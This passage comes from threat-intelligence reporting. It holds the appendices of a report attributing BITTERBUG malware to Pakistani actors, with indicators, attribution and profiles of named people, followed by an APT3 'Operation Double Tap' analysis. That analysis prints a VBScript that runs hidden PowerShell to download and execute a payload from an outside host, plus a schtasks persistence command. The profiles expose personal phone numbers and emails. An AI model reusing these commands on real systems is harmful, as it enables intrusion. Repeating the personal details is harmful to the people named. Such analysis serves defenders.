2013-05-08T10:58:22Z    C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb
2013-05-10T19:18:54Z    C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb
2013-05-23T17:21:19Z    C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb
2013-05-28T11:59:36Z    C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb
2013-05-30T08:48:04Z    C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb
2013-06-13T08:34:21Z    C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb
2013-06-14T13:53:13Z    C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb
2013-06-25T13:04:04Z    C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb
2013-07-09T10:16:00Z    C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb
2013-08-01T17:28:54Z    C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb
2013-10-24T09:28:23Z    C:\Intel\Logs\file.pdb
2013-12-06T10:02:36Z    C:\Intel\Logs\logs.pdb
2013-12-26T09:19:40Z    C:\Intel\Logs\file.pdb
2013-12-30T13:11:23Z    C:\Intel\Logs\file.pdb
2014-03-17T08:16:25Z    C:\Intel\Logs\file.pdb
17   •   OPERATION ARACHNOPHOBIA
BITTERBUG Import Hashes
Imphash                   Compile Time
610893cd57631d1708d5efbc786bd9df    2013-05-08T10:58:22Z
5b1bebadb5713018492b1973ab883c25    2013-05-10T19:18:54Z
5b1bebadb5713018492b1973ab883c25    2013-05-23T17:21:19Z
cf63bfee568869182bd91a3cb8e386ce    2013-06-14T13:53:13Z
ccca290b8ab75a5b29f61847fb882c20    2013-06-25T13:04:04Z
cf63bfee568869182bd91a3cb8e386ce    2013-07-09T10:16:00Z
435bd4f04b2ee7cb05ce402f2bcea85e    2013-08-01T17:28:54Z
2458ee58d046f14cad685e6c9c66f109    2013-10-24T09:28:23Z
c47d4980c1c152eba335bed5076e8a6f    2013-12-06T10:02:36Z
bd0665ffedcf2a9ded36a279d08e4752    2013-12-26T09:19:40Z
58758cb068583736ef33a09a2c4665de    2013-12-30T13:11:23Z
5b943bec7d2a589adfe0d3ff2a30bfe5   2014-03-17T08:16:25Z
18   •   OPERATION ARACHNOPHOBIA
BITTERBUG Network Communications
HTTP Requests
http://<c2_location>/checkpkg_maxell.php?compname=
http://<c2_location>/checkpkg_petal.php?compname=
http://<c2_location>/checkpkg.php?compname=
http://<c2_location>/fetch_updates_8765_tb.php?compname=
http://<c2_location>/fetch_updates_flex.php?compname=
http://<c2_location>/fetch_updates_m.php?compname=
http://<c2_location>/fetch_updates_petal.php?compname=
http://<c2_location>/fetch_updates_pops.php?compname=
http://<c2_location>/fetch_updates_pret.php?compname=
http://<c2_location>/is_array_max.php?compname=
http://<c2_location>/is_array_own.php?compname=
http://<c2_location>/is_array_pal.php?compname=
http://<c2_location>/is_array.php?compname=
http://<c2_location>/maxell_active.php?compname=
http://<c2_location>/path_active.php?compname=
http://<c2_location>/petal_active.php?compname=
http://<c2_location>/version_maxell.php?srs=
http://<c2_location>/version_own.php?srs=
http://<c2_location>/version_petal.php?srs=
http://<c2_location>/versionchk.php?srs=
http://<c2_location>/vtris.php?srs=
http://<c2_location>/vtris1.php?srs=
http://<c2_location>/fetch_updates_8765.php?compname=
BITTERBUG Domain & IPs
C2s
199.91.173.43
199.91.173.44
199.91.173.45
windowsupdate.no-ip.biz
19   •   OPERATION ARACHNOPHOBIA
APPENDIX C: VPSNOC Email Header Analysis
The Kansas-City-based hosting provider sent an introductory email message on July 24th, 2013 at 1500 CDT and would be
received by TCIRT at 1400 EDT and VPSNOC on Thursday July 25th, 2013 at 1200 PKT.
49
Analysis of the VPSNOC email50 header indicated that the message was sent on Thursday 25 July at 02:28:41 +0500 GMT, which
is consistent with Pakistan’s time zone.
Of note, the email message was sent with an X-Originating IP Address of 184.75.214.10
corresponding to a Private Internet Access51 Canadian proxy52.
VPSNOC’s use of this commercial proxy service likely
demonstrates the intent to mask the apparent origin of the sender.
These two examples highlight that VPSNOC’s inbound and outbound email communications consistently utilized a +0500
Pakistani timezone.
49	       Digital Appendix 1: Raw Email Communications; Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml
50	       Digital Appendix 2: Raw Email Communications; Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml
51	       https://www.privateinternetaccess.com
52	       http://pastebin.com/F261NfYa
20    •     OPERATION ARACHNOPHOBIA
APPENDIX D: Inconsistencies Observed
Due to the apparent Pakistani nexus within the BITTERBUG malware and the Pakistan time zone consistently observed within
the VPSNOC emails, the TCIRT applied additional scrutiny and research of the content within the Tranchulas “Response_
ThreatConnect.docx” to validate their claims.
In the following section we will examine the inconsistencies observed.
Within the
response we observed the following inconsistencies:
Inconsistency #1: Day & Date Misalignment within image1.png Screenshot
Our review of the “Response_ThreatConnect.docx”53 focused in on the email screenshot (Figure 3) image1.png54 that Khan
provided revealing that the date probably had been modified to appear as though they were the first to notify VPSNOC.
Within
the official response, Zubair Khan indicated that Tranchulas was “already aware of this incident...and contacted hosting
company.” The official response included a screenshot depicting an email sent to VPSNOC from an unidentified (redacted)
tranchulas.com email address that was sent on “Tue, Jul 21, 2013 at 11:36 PM” with no evidence of the date in which it was
received by or responded to by VPSNOC.
This message contained a notable misalignment between the date and day of the week.
July 21, 2013 was a Sunday, not a Tuesday.
“Tuesday” would have pre-dated our official notification that occurred on Wednesday
July 24, 2013, and could indicate that Tranchulas may have obtained insight into the original TCIRT notification through Pakistan-
based contacts within VPSNOC.
The TCIRT subsequently responded to Mr. Khan’s official explanation with a follow-up inquiry,
offering Khan an opportunity to explain the date inconsistency within the email screenshot.
Mr. Khan deferred our request to
Mr. Hamza Qamar55, a Penetration Testing Team Lead at Tranchulas, who later responded56 with a simple denial that the email
message had not been altered apart from blurring the name of the original sender.
Inconsistency #2: Awareness of Withheld Information
The email screenshot (image1.png) from within the Tranchulas response demonstrated awareness of information that we initially
withheld and later released in our blog post: one malware variant57 that contained a debug string with “umairaziz27” the
same username as a Tranchulas employee.
The Tranchulas message to VPSNOC incorrectly claimed to identify malware on
199.91.173.43 that contained the “company’s name and...employee’s name”.
While it is possible that Tranchulas’ analysts
discovered this variant independent of the blog post, it added to the inconsistent elements of the response and further suggested
that the blog post may have inspired its communications with VPSNOC.
We note that we requested additional information such as
the “detailed analysis report” within the exchange from Tranchulas but did not receive a response.
Inconsistency #3: Tranchulas Direct Notification
The Tranchulas response indicates that “Tranchulas’ research team was already aware of this incident before publication
of this report.
Our team contacted hosting company of server to seek an explanation.” Considering there are no
public references to the identified infrastructure identifying VPSNOC as the “hosting company”.
The only way for Tranchulas to
identify VPSNOC as the hosting company was to either have previous insider knowledge of the activity, or to have been privately
introduced by the Kansas-City-based service provider to their “client” VPSNOC, of which was never mentioned or discussed when
we initially exchanged with either the Kansas-City or Pakistan-based hosting providers.
53	       Digital Appendix 1: Research Collateral Response_ThreatConnect.docx (MD5: 6f7010a28f33be02d85deb9ba40ec222)
54	       Digital Appendix 1: Research Collateral image1.png (MD5: d224f39f8e20961b776c238731821d16)
55	       http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109
56	Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up -
(Date- Thu, 15 Aug 2013 12-52-54 +0500).eml
57	       https://www.virustotal.com/en/file/b9a062e84ab64fc55dedb4ba72f62544eb66d7e1625059d2f149707ecd11f9c0/analysis/
21    •     OPERATION ARACHNOPHOBIA
Public registration of the 199.91.173.43 reveals the Kansas-City-based hosting provider as the official registrant and owner
of the infrastructure.
The only way to know that VPSNOC was subleasing the infrastructure was to obtain this information directly
from them.
There was no public reference which would have revealed VPSNOC as the entity which maintained root access to the
199.91.173.43.
Had Tranchulas legitimately conducted an initial victim notification sometime in late July 2013, they would have
likely done so through the Kansas-City-based hosting provider and not VPSNOC.
On August 15, 2013, Hamza Qamar’s response to TCIRT’s follow up inquiry to the observed inconsistencies redirected TCIRT
personnel to VPSNOC to obtain an explanation versus attempting to explain the observed day date inconsistency and document
properties within the Tranchulas email.
The TCIRT’s suspicion mounted when presenting Tranchulas with the opportunity to set the
record straight, that Tranchulas could not substantiate their claims, rather deferring the TCIRT inquiry to a third party (VPSNOC).
Inconsistency #4: Tranchulas obtains similar response that TCIRT obtained
Within the “Response_ThreatConnect.docx“ the image “image1.png” contains an undated response from VPSNOC to the
“Tue, Jul 21, 2013” Tranchulas notification.
The undated VPSNOC response that Tranchulas received is nearly identical to the
response that TCIRT and the Kansas-City-based service provider obtained on July 24th.
Tranchulas does not include the date or
time as to when they obtained a response from VPSNOC.
The TCIRT found it unusual that neither the Kansas-City-based service provider or VPSNOC personnel ever indicated either way
that they knew about the activity or had been previously contacted by either party.
When considering all of the inconsistencies,
order of events and studying, Gmail webmail layout, similarities of keywords, salutations and closings within the “Tue, Jul 21,
2013” Tranchulas notification and the respective VPSNOC response.
The TCIRT grew increasingly suspicious of the exchanges
with VPSNOC and subsequent exchanges with Tranchulas personnel.
Inconsistency #5: Similar Document Metadata Properties
Analysis of metadata within two benign decoy documents that were originally used within July 2013 BITTERBUG operations,
Report.docx58 and Naxalites_Funded_by_Pakistan.docx59, both maintained the author properties of “hp”.
In reviewing the
document metadata within the “Response_ThreatConnect.docx“ that was sent from Mr. Zubair Khan on August 6, 2013, the
TCIRT also identified that this document maintained the creator properties of “hp.” (Figure 10)
While the author field of “hp” doesn’t conclusively prove a relationship, it contributes to a body of circumstantial evidence which
matches the document properties of the official Tranchulas response to the document properties that were also found within
decoy documents that were bundled with BITTERBUG implants.
58	       https://www.virustotal.com/en/file/7e940115988d64fbf7cd3b0d86cd2440529f921790578a96acac4c027120e0c5/analysis/
59	       https://www.virustotal.com/en/file/f689d9990a23fbde3b8688b30ff606da66021803390d0a48d02fad93dc11fa15/analysis/
22    •      OPERATION ARACHNOPHOBIA
APPENDIX E: VPSNOC & Digital Linx Associations
According to the vpsnoc.com website “In 2007 five VPS experts decided to invest in their very own private rack space in the heart
of Kansas, the United States.
Their aim?
To bring service-oriented, quality managed and unmanaged VPS solutions to clients
all over the world.
Just 1 year later, after beginning their enterprise on 3 servers they had filled 2 server racks with happy clients
receiving quality U.S support.
Their company continued to build momentum.” 60
Whois records for vpsnoc.com indicate that another individual registered the domain and listed Digital Linx Hosting as the registrant
organization with a Kansas City-based address, telephone number 925-665-1427, and administrative email address admin@digitallinx.
org.61 This is the same registrant record for the digitallinx.net domain.62 The digitallinx.net/sitemap.xml63 and the corresponding Google
cache64 for digitallinx.net/sitemap.xml indiciate that both digitallinx.net and digitallinx.com have shared the same sitemap.xml at the same
time.
The digitallinx.net/Contact.html65 identified similar overlaps with data across the .org, .net, and .com domains.
The domain digitallinx.com is registered to Perasona #1.66 67 68 69 He uses email addresses naseer@digitallinx.com and nbhatti@
gmail.com as the domain registrant email address, along with address 638-F Johar Town, Lahore Pakistan and telephone
966.548805579.70 The DigitalLinx (digitallinx.com) website states that it is “a web hosting / Web Solutions & Processing
Outsourcing Company based in Pakistan”.
Open source research of the phone number 925-665-1427 indicates that it is also used within site content as a phone number for
defiantmarketing.com.
This domain is registered by Persona #2 71 who uses the aliases “agnosticon” and “agnostic”.
Persona #2 lists VPSNOC
as the registrant organization, and uses the registration email address of abunasar@yahoo.com with an address of House 12, Street 21, F-8/1
Islamabad Federal 44000.
The domain defiantmarketing.com domain has used ns1.abunasar.net and ns2.abunasar.net for name services.
Within a January 2009 posting to a Debian users forum, Persona #2 sends an email from the abunasar@yahoo.com with a reply-to as
abunasar@army.com.72 Within the post, Persona #2 responds to the question “Who’s using Debian” listing DigitalLinx, Kansas City MO and
the link to digitallinx.com.
Also, the seemingly abandoned Twitter profile for Persona #273 is only following the Twitter profile for @VPSNOC.74
In an April 2012 post to blackhatworld.com, a user with the alias “agnosticon” posted promotional codes for VPSNOC hosting
services, engaging with customers, providing them feedback regarding VPS services and thanking them for positive reviews.75
Within the posting the user “agnosticon” included an image which was an actual advertisement that was hosted at http://vpsnoc.
com/order.png.76 77 Within the posted image it states “VPSNOC is a subdivision of Digital Linx Hosting.
We have been in business since
2008”.
The posting concludes with “If you have any further questions/queries please contact us directly at: support@vpsnoc.com”
60	       http://vpsnoc.com
61	       https://whois.domaintools.com/vpsnoc.com
62	       https://whois.domaintools.com/digitallinx.net
63	       digitallinx.net/sitemap.xml
64	       http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us
65	       digitallinx.net/Contact.html
66	       https://whois.domaintools.com/digitallinx.com
67	       http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815
68	       https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ
69	       Appendix F: Personas; Persona #1 Muhammad Naseer Bhatti
70	       https://github.com/digitallinx/vBilling/blob/master/CHANGELOG
71	       Appendix F: Personas; Persona #2 Abunasar Khan
72	       https://lists.debian.org/debian-www/2009/01/msg00186.html
73	       https://twitter.com/abunasar
74	       https://twitter.com/vpsnoc
75	       http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html
76	       http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html
77	       http://vpsnoc.com/order.png
23    •      OPERATION ARACHNOPHOBIA
APPENDIX F: Personas
Persona #1:
Muhammad Naseer Bhatti’s LinkedIn profile indicates that he is currently the founder for Digital Linx LLC and vBilling (vbilling.org)
as well as a consultant for a U.S. company78.
Both Bhatti and Digital Linx are listed as the registrants for vbilling.org79, v-billing.
com80, vgriffins.com81 and my-server.co82, which use P.O.
Box 295658, Riyadh Saudi Arabia83 as the registration address.
This
is also the address for two U.S. companies’ local operations.
Bhatti is also listed as the owner of the netblock 46.4.139.224/28.
Both passive DNS sources as well as Robtex84 highlight this overlapping infrastructure.85
From September 7 - 9, 2011, Tranchulas in cooperation with the Pakistan National University of Sciences and Technology86
(NUST), offered a Certified Penetration Testing Profession (CPTP) Workshop87 (Figure 17).
During the workshop, basic penetration
techniques and skills were presented88.
It is likely that CPTP workshops and alignment with NUST have allowed Tranchulas the
opportunity to recruit student interns.89
78	       http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815
79	       http://whois.domaintools.com/vbilling.org
80	       http://whois.domaintools.com/v-billing.com
81	       http://whois.domaintools.com/vgriffins.com
82	       http://whois.domaintools.com/my-server.co
83	       http://saudi.emc.com/contact/contact-us.htm
84	       https://www.robtex.com/dns/digitallinx.com.html
85	       http://whatmyip.co/info/whois/46.4.139.225
86	www.nust.edu.pk
87	       http://seecs.nust.edu.pk/Seminars_workshops/pages/tranchulas_hacking_workshop/index.php
88	       Digital Appendix 1: Research Collateral (Program.pdf)
89	       http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profiles%20booklet-%202013%20(SEECS).pdf
24    •      OPERATION ARACHNOPHOBIA
Figure 17: Muhammad Nasser Tranchulas CPTP Registration Point of Contact
Within the CPTP event registration contact information for Muhammad Naseer was listed next to a Tranchulas office number (051-
2871433)90.
It is important to note that Muhammad Naseer Bhatti has been previously known to drop91 the family name “Bhatti”
90	       http://www.linkedin.com/groups/Tranchulas-Handson-Ethical-Hacking-Training-2616369.S.75237952
91	       https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ
25    •      OPERATION ARACHNOPHOBIA
within online correspondence (Figure 18).
In a June 2012 episode of Engineering and Technology Magazine92 podcast a Mohammed
Nasser, Penetration Tester at Tranchulas was interviewed93.
A Mohammed Nasser may also be directly affiliated94 with Tranchulas.
Figure 18: Muhammad Nasser Bhatti Dropping Family Name
This links Tranchulas to a Pakistani employee or consultant also named Muhammad Naseer.
It is unknown if this is the same
Muhammad Naseer that is associated with VPSNOC’s parent company Digital Linx, the Pakistan-based service provider which
hosted the original BITTERBUG malware.
92	       http://eandt.theiet.org/magazine/2012/06/
93	       http://eandt.theiet.org/magazine/2012/06/et-podcast-18.cfm
94	       http://www.zoominfo.com/s/#!search/profile/person?personId=1627460418&targetid=profile
26    •      OPERATION ARACHNOPHOBIA
Persona #2:
Abunasar Khan also maintains the aliases “agnosticon”95 and “agnostic”96 in addition to the email addresses abunasar@yahoo.
com and abunasar@army.com.
He has been previously associated97with VPSNOC & Digital Linx.
An April 2012 Whois registrant
record for the domain zeusadnetwork.com98 includes the first and last name Khan along with the same (925) 665-1427 phone
number seen within the Digial Linx Hosting domains.
Khan registered a variety of domains, many of which use his abunasar.net99 for name services and abunasar.yahoo.com within
the Start of Authority (SOA) records.
For example a July 2014 record (Figure 19) for defiantmarketing.com100 and an August 2013
record (Figure 20) for ns2.vpsnoc.com both maintain these references.
Figure 19: SOA record for defiantmarketing.com (July 2014)
95	        http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html
96	        http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115
97	        http://www.webhostingtalk.com/showthread.php?t=723658
98	        http://whois.domaintools.com/zeusadnetwork.com
99	        http://whois.domaintools.com/abunasar.net
100	       http://bgp.he.net/dns/defiantmarketing.com
27     •      OPERATION ARACHNOPHOBIA
Figure 20: SOA Record for vpsnoc.com (August 2013)
Abunasar Khan registered abunasar.net and previously (May 2007) and maintained whitehate.org101, which have both been used
to demonstrate an affinity for and alignment with AntiSec and Anonymous movements.102 The abunasar.net website prominently
displays ascii art of the term “antisec” with antisec related content “Blend in.
Get trusted.
Trust nobody.
Own everybody.
Disclose
nothing.
Destroy everything.
Take back the scene.” This is a shared affinity that is also reflected amongst with the culture of
Tranchulas employees.103 104 105 The pure.whitehate.org domain has also been previously associated with Khan, examples can be
found within #phrack and #darknet IRC sessions.106 107
Ironically, in February 2011, Khan’s Rootkit.com user profile was compromised revealing his profile’s username, password hash,
email (abunasar@army.com), and the registration IP address of 202.125.143.67 (Islamabad, Pakistan).108 During his registration,
Khan specified the name “anony mo us” when registering the profile.
As of 16 August 2013, a Pastebin post contained details of
a customer database compromise for nowclothing.pk, which included Khan’s name, email abunasar@army.com, and cell phone
number 03215488881.109 110
Research of the 03215488881 cell phone number yields a user profile “abunasark” in an April 2009 posting.111 Khan posts
pictures of his blue Baleno and includes another phone number 03234764838.112 In a secondary profile user “Ak” uses the same
cell phone number 03215488881 in a 2009 sales posting for a 2004 blue Baleno.113 114
101	       https://whois.domaintools.com/whitehate.org
102	       https://whois.domaintools.com/abunasar.net
103	       https://www.facebook.com/media/set/?set=a.542485719112184.135023.132987340062026&type=3
104	       http://youtube.com/watch?v=w3DjOuEI0vs.mov
105	       Digital Appendix 3: Screenshot Archives (youtube.com/watch?v=w3DjOuEI0vs.mov)
106	       http://pastebin.com/rqVGqh1q
107	       http://shootingsawk.lescigales.org/misc/owneddarknet.txt
108	       https://dazzlepod.com/rootkit/?page=284
109	       http://pastebin.com/ktR3qM3K
110	       Digital Appendix 3: Screenshot Archives (pastebin.com/ktR3qM3K.png)
111	       http://www.pakwheels.com/forums/user/abunasark
112	       http://www.pakwheels.com/forums/members-member-rides/99428-white-baleno-not-anymore-comments-please-p-4
113	       http://www.motors.pk/ak-22.htm
114	       http://www.motors.pk/used-cars/suzuki-baleno-2004-for-sale-in-islamabad-22.htm
28     •      OPERATION ARACHNOPHOBIA
Khan’s affinity for Suzuki Baleno cars is made obvious in a May 2009 registration for clubaleno.co.uk that was registered by Khan
at VPSNOC using the name services of ns1.abunasar.net and ns2.abunasar.net with a SOA record of abunasar.yahoo.com.115 116
Later in a June 2009 posting, Khan using the alias “agnostic” attempts to sell the domain clubaleno.co.uk and uses his abunasar@
army.com email address as a point of contact.117
Khan is also observed using the alias “agnosticon” and a Toyota Racing Development avitar within posts to blackhatworld.com
and again within a 2011 post where he posts a cpanel error that also includes his “abunasar” username within system output.118
The Google+ profile for Khan119 reveals established social network links to a Team Lead for Penetration Testing at Tranchulas and
a Digital Linx employee Shoaib Riaz120 who also maintains a social network association with the Digital Linx founder Muhammad
Nasser Bhatti.121
115	       http://www.sitetrail.com/clubaleno.co.uk
116	       http://dawhois.com/site/clubaleno.co.uk.html
117	       http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115
118	       http://forums.cpanel.net/f5/help-yum-broke-rpm-db-broke-somehow-httpd-wont-start-238511.html
119	       https://plus.google.com/103436628630566104748/posts
120	       https://plus.google.com/105059395104464629441/about
121	       https://plus.google.com/105855064276291727409/posts
29     •      OPERATION ARACHNOPHOBIA
APPENDIX G: Tranchulas
The Tranchulas website122 states that they provide a range of security services and training to include penetration and offensive
cyber initiative (OCI), in which they “help national level cyber security programs on strategies for managing offensive technical
threats”.
In a September 2011 YouTube user “tranchulascert” posted a video titled “Tranchulas Cyber Ranges - P@sha ICT Awards
2011123”, where they awarded runner up124.
Within the video, the cyber ranges were referenced as being developed for “defense
forces” that were aimed to “help them in developing offensive and defensive warfare skills” and “combating anti-state hackers”.
Although Tranchulas125 brands itself as a multi-national company, their respective operating addresses within United Kingdom126
the United States127 and New Zealand128 are all associated with either virtual office spaces or address forwarding services.
The
Tranchulas website lists its Pakistan address within the 2nd floor of the Evacuee Trust Complex129 on Sir Agha Khan Road F-5/1
Islamabad 44000.
The Evacuee Trust Complex is also known as Software Technology Park 2130 or STP2 and hosts a variety131 of
other commercial and government offices.
The Tranchulas employee, Hamza Qamar, that handled the response to our inquiry has a public LinkedIn132 profile that states that
he “Engaged in system and enterprise level network and Web application security testing for clients ranging from large federal
agencies, DoD, and commercial clients.” The profile does not specify if DoD is a reference to the U.S. Department of Defense or
another country’s Ministry of Defense.
Interestingly, Qamar’s Google+ page showed one “friend” in his circle despite more than 40
followers, Abunasar Khan a VPSNOC employee.
It is likely that Tranchulas provides services to the Pakistani government.
The offensive cyber initiative services offered by
Tranchulas is offered to “national-level cyber security programs” suggesting a commercial demand from “national-level” customers.
The stated purpose and intent of the Tranchulas “Cyber Ranges” P@sha ICT 2011 awards video suggests the ranges were
specifically developed in support of national interests for offensive and defensive purposes.
The domain registration by Zubair
Khan using an official Pakistani government address with his zubair@tranchulas.com email address indicates that Khan may have
or currently maintains a physical address at a location where other Pakistani government officials reside.
Historic Whois registration records for the domains textcrypter.com133, taggnation.com134, bookadoconline.com135 and saadiakhan.
net136 lists Tranchulas CEO Zubair Khan (zubair@tranchulas.com137) as the registrant for the domains.
At the time of registration
Khan used the address 15-B, Mehran Block of the Gulshan-e-Jinnah F-5/1 Islamabad Pakistan for the domains.
122	   http://tranchulas.com
123	   https://www.youtube.com/watch?v=FAM6JxOHdo8
124	   http://pashaictawards.com/?page_id=1644
125	   http://tranchulas.com/contact-us/
126	   http://www.londonpresence.com/contact-us/
127	   http://nextspace.us/nextspace-union-square-san-francisco/
128	   http://www.privatebox.co.nz/virtual-office/virtual-office-address.php
129	   https://www.facebook.com/EvacueeTrustComplex
130	   http://wikimapia.org/425791/Evacuee-Trust-Complex
131	   https://www.facebook.com/EvacueeTrustComplex/photos/a.554791821273808.1073741825.404981572921501/554791824607141/
132	   http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109
133	   https://whois.domaintools.com/textcrypter.com
134	   https://whois.domaintools.com/taggnation.com
135	   https://whois.domaintools.com/bookadoconline.com
136	   https://whois.domaintools.com/saadiakhan.net
137	   https://reversewhois.domaintools.com/?email=b249ca637ef7cc55a0136bcda9dca0d3
30     •   OPERATION ARACHNOPHOBIA
In an April 2008 Request for Proposals, the Pakistan Public Works Department issued a tender138 for the Constriction of
Government Servant Quarters and Garages at Gulshan-e-Jinnah Complex F-5/1 Islamabad.
Later in May of 2010 within a
Pakistani Senate139 question and answer session, the Gulshan-e-Jinnah Complex was cited under Federal Lodges / Hostels in
Islamabad under the control of Pakistan Ministry for Housing and Works.
A December 2010 TheNews Pakistan ran a story140
that detailed the differential in rents between commoners within Islamabad and Pakistani government officers accommodated
at Gulshan-e-Jinnah.
According to Google Maps141 it is approximately 650 meters (8 minute walk) from the Gulshan-e-Jinnah
Complex to the Tranchulas offices within the Evacuee Trust Complex.
Within a May 2013 interview142 Khan specified that he comes from a family with a strong military background.
He detailed his
interest in “the world of hacking” grew during his teen years, referencing his father’s diplomatic assignment to the Philippines in
2003.
Khan would go on to establish Tranchulas in February 2006 after an independent audit of Pakistani Governments National
Database and Registration Authority (NADRA).
138	       http://www.dgmarket.com/tenders/np-notice.do?noticeId=2466880
139	       http://www.senate.gov.pk/uploads/documents/questions/1317711132_399.pdf
140	       http://www.thenews.com.pk/Todays-News-2-22150-Bureaucrats-journalists-avail-cheaper-accommodation
141	https://www.google.com/maps/dir/Tranchulas,+Islamabad,+Pakistan/Gulshan-e-Jinnah+Complex,+Islamabad,+Pakistan/@33.7327466,7
3.0877996,17z/data=!4m13!4m12!1m5!1m1!1s0x38dfc0820ff3f9e3:0x4b3eb557d9cd81c3!2m2!1d73.088686!2d33.73353!1m5!1m1!1s0
x38dfc0818a64f1d7:0x82c3bee2d49d88ab!2m2!1d73.089409!2d33.73263?hl=en-US
142	       http://bluechipmag.com/qa-with-zubair-khan/
31     •     OPERATION ARACHNOPHOBIA
Digital Appendix 1: Research Collateral
Digital Appendix 1 contains additional research collateral collected when conducting Operation Arachnophobia research.
32   •   OPERATION ARACHNOPHOBIA
Digital Appendix 2: Raw Email Communications
Digital Appendix 2 contains raw email communications.
These .eml files include raw SMTP headers, content and attachments.
33   •   OPERATION ARACHNOPHOBIA
Digital Appendix 3: Screenshot Archives
Digital Appendix 3 contains screenshots of web content used to conduct analysis.
34   •   OPERATION ARACHNOPHOBIA
Digital Appendix 4: Maltego Visualization
Digital Appendix 4 contains visualization files that depict relationships and contain metadata associated with our Operation
Arachnophobia research.
35   •    OPERATION ARACHNOPHOBIA
Operation Double Tap
APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to
send waves of spearphishing messages over the past few months.
This actor initiated their most recent
campaign on November 19, 2014 targeting multiple organizations.
The attacker leveraged multiple
exploits, targeting both CVE-2014-6332 and CVE-2014-4113.
CVE-2014-6332 was disclosed publicly on
2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability.
CVE-2014-
4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14.
The use of CVE-2014-6332 is notable, as it demonstrates that multiple classes of actors, both criminal and
APT alike, have now incorporated this exploit into their toolkits.
Further, the use of both of these two
known vulnerabilities in tandem is notable for APT3.
This actor is historically known for leveraging zero-
day vulnerabilities in widespread but infrequent phishing campaigns.
The use of known exploits and more
frequent attacks may indicate both a shift in strategy and operational tempo for this group.
The Spearphish
The body of the message is below:
One Month's Free Membership for The PLAYBOY ClUB 1080P HD VIDEOS 100,000 PHOTOS
4,000 MODELS Nude Celebrities,Playmates,Cybergirls & More!
Click
hxxp://join.playboysplus.com/signup/ To Get a Free Plus Member Now & Never Miss Another Update.
Your Member referrals must remain active.
If anyone getting "Promotion not available" for 1 month free
membership, you might get the issue up to 48 hrs once your membership is expired and make sure to
Clear out cookies or use another browser or use another PC.
The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the
affected users’ system to download the below payload:
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.
Application")
shell.
ShellExecute "powershell.exe","-NoLogo -NoProfile             -NonInteractive -WindowStyle
Hidden ( New-Object
“System.
Net.WebClient”).DownloadFile(“http://www.playboysplus.com
/install/install.exe”,”install.exe”);Invoke-Item install.exe", "",   "open", 1
end function
The CVE-2014-6332 exploit code seen in this incident is derived from the code published at
http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project.
The Downloader
After the exploit or script executes, the system downloads install.exe, which has the following metadata:
MD5           5a0c4e1925c76a959ab0588f683ab437
Size         46592 bytes
Compile Time 2014-11-19 08:55:10Z
Import Hash      6b8611f8148a6b51e37fd68e75b6a81c
The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path
“C:\Users\Public”, which fails on Windows XP because that path is not present by default.
The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe
with the elevated privileges.
These files have the following metadata:
doc.exe (x86):
MD5          492a839a3bf9c61b7065589a18c5aa8d
Size        12288 bytes
Import Hash 9342d18e7d315117f23db7553d59a9d1
doc.exe (x64):
MD5          744a17a3bc6dbd535f568ef1e87d8b9a
Size        13824 bytes
Compile Time 2014-11-19 08:25:45Z
Import Hash 2fab77a3ff40e4f6d9b5b7e813c618e4
test.exe:
MD5            5c08957f05377004376e6a622406f9aa
Size        11264 bytes
Compile Time 2014-11-18 10:49:23Z
Import Hash f34d5f2d4577ed6d9ceec516c1f5a744
These payload files also have interesting PDB debug strings.
install.exe:
c:\Users\aa\Documents\Visual Studio 2008\Projects\MShell\Release             \MShell.pdb
doc.exe:
c:\Users\aa\Documents\Visual Studio 2008\Projects\4113\Release               \4113.pdb
test.exe:
C:\Users\aa\Documents\Visual Studio 2010\Projects\MyRat\Client\Client
\obj\x86\Release\Client.pdb
The most interesting PDB string is the “4113.pdb,” which appears to reference CVE-2014-4113.
This CVE is
a local kernel vulnerability that, with successful exploitation, would give any user SYSTEM access on the
machine.
The malware component, test.exe, uses the Windows command "cmd.exe" /C whoami” to verify it is
running with the elevated privileges of “System” and creates persistence by creating the following
scheduled task:
schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON         /ru "System"
